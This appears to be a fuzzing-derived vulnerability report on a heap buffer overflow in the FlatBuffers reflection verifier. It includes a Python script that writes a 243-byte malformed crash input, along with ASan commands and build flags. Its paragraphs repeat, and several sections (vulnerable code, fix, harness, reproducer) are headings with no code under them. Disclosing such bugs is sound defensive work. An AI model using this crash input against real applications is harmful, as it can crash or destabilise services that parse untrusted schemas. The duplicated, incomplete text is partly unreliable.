Heap buffer overflow in flatbuffers::Verify when using reflection to verify objects. The verifier reads past buffer bounds during field offset validation before verification completes.
The reflection-based verification path in VerifyObject → GetFieldT → ReadScalar dereferences field offsets without proper bounds checking. When processing malformed reflection schemas, the verifier attempts to read field data past the allocated buffer boundary.
The FlatBuffers reflection verification system has a heap buffer overflow in the field offset dereferencing code path. When VerifyObject processes reflection-generated schemas, it calls GetFieldT which directly dereferences field offsets from untrusted data without validating that the field data lies within buffer bounds. This affects applications that use FlatBuffers reflection API to verify schemas from untrusted sources, particularly development tools and schema validators.
243-byte malformed FlatBuffers table data that triggers heap buffer overflow during reflection verification:
# generate_flatbuffers_reflection_poc.py
poc = bytes([
0x08, 0x00, 0x00, 0x00, 0xff, 0x30, 0x00, 0x00, 0x7c, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xff, 0xff, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd,
0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0x30, 0xff,
0x00, 0x00, 0x08, 0xff, 0xff, 0x30, 0x7c, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd,
0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0xfd, 0x7f, 0x55, 0x00, 0x19, 0xb2, 0xb2, 0xb2, 0xb2, 0xb2,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0xff, 0x30, 0x00, 0x00, 0x7c,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x50, 0x54, 0x00, 0x00,
0xf5, 0x98, 0x98, 0x01, 0xff, 0x35, 0x00, 0x00, 0x7c, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x2a, 0xff, 0xff, 0x00,
0x32, 0x33, 0x00,
])
open("flatbuffers_reflection_poc.bin", "wb").write(poc)
For direct reproduction without libFuzzer, the following minimal program triggers the same vulnerability using only the FlatBuffers public API:
Heap Buffer Overflow in FlatBuffers Reflection Verifier
Summary
Heap buffer overflow in flatbuffers::Verify when using reflection to verify objects. The verifier reads past buffer bounds during field offset validation before verification completes.
Root Cause
The reflection-based verification path in VerifyObject → GetFieldT → ReadScalar dereferences field offsets without proper bounds checking. When processing malformed reflection schemas, the verifier attempts to read field data past the allocated buffer boundary.
Vulnerable Code (flatbuffers/reflection.h:GetFieldT)
Vulnerability Description
The FlatBuffers reflection verification system has a heap buffer overflow in the field offset dereferencing code path. When VerifyObject processes reflection-generated schemas, it calls GetFieldT which directly dereferences field offsets from untrusted data without validating that the field data lies within buffer bounds. This affects applications that use FlatBuffers reflection API to verify schemas from untrusted sources, particularly development tools and schema validators.
PoC
Crash input
243-byte malformed FlatBuffers table data that triggers heap buffer overflow during reflection verification:
Crash input size: 243 bytes
How to run
Sanitizer Output
Basic Verification (Fuzzer)
$ ASAN_OPTIONS="abort_on_error=1:halt_on_error=1:print_stacktrace=1:detect_leaks=0" \ ./flatbuffers_reflection_gentext_fuzzer crash_empty_76cfde9d.binBinary Reproduction (Production App)
$ ASAN_OPTIONS="detect_leaks=0:abort_on_error=1" \ ./repro_reflection_v2 crash_empty_76cfde9d.binAnalysis: Both fuzzer and production paths trigger identical heap buffer overflow in flatbuffers::ReadScalar during reflection verification. Both show READ of size 4 located 789 bytes after a 243-byte allocated region. The malformed table data causes GetFieldT to dereference field offsets that point past allocated buffer boundaries during reflection::Verify calls.
Impact
Suggested Fix
Add bounds checking before field offset dereferencing in GetFieldT:
Fuzz Harness Source
Build flags:
clang++ -std=c++17 -fsanitize=fuzzer,address -g -O1 -I flatbuffers/include/Library linkage:
libflatbuffers.a -lpthreadCorpus:
data/chrome/libraries/flatbuffers/corpora/flatbuffers_reflection_gentext/Production Reproducer
For direct reproduction without libFuzzer, the following minimal program triggers the same vulnerability using only the FlatBuffers public API:
Build:
clang++ -fsanitize=address -g -O1 -I flatbuffers/include/ repro_reflection.cc libflatbuffers.a -o repro_reflectionRun:
./repro_reflection crash.bin(requires monster_test.bfbs in same directory)Discovery
flatbuffers_reflection_gentext_fuzzer.cc(see "Fuzz Harness Source" above)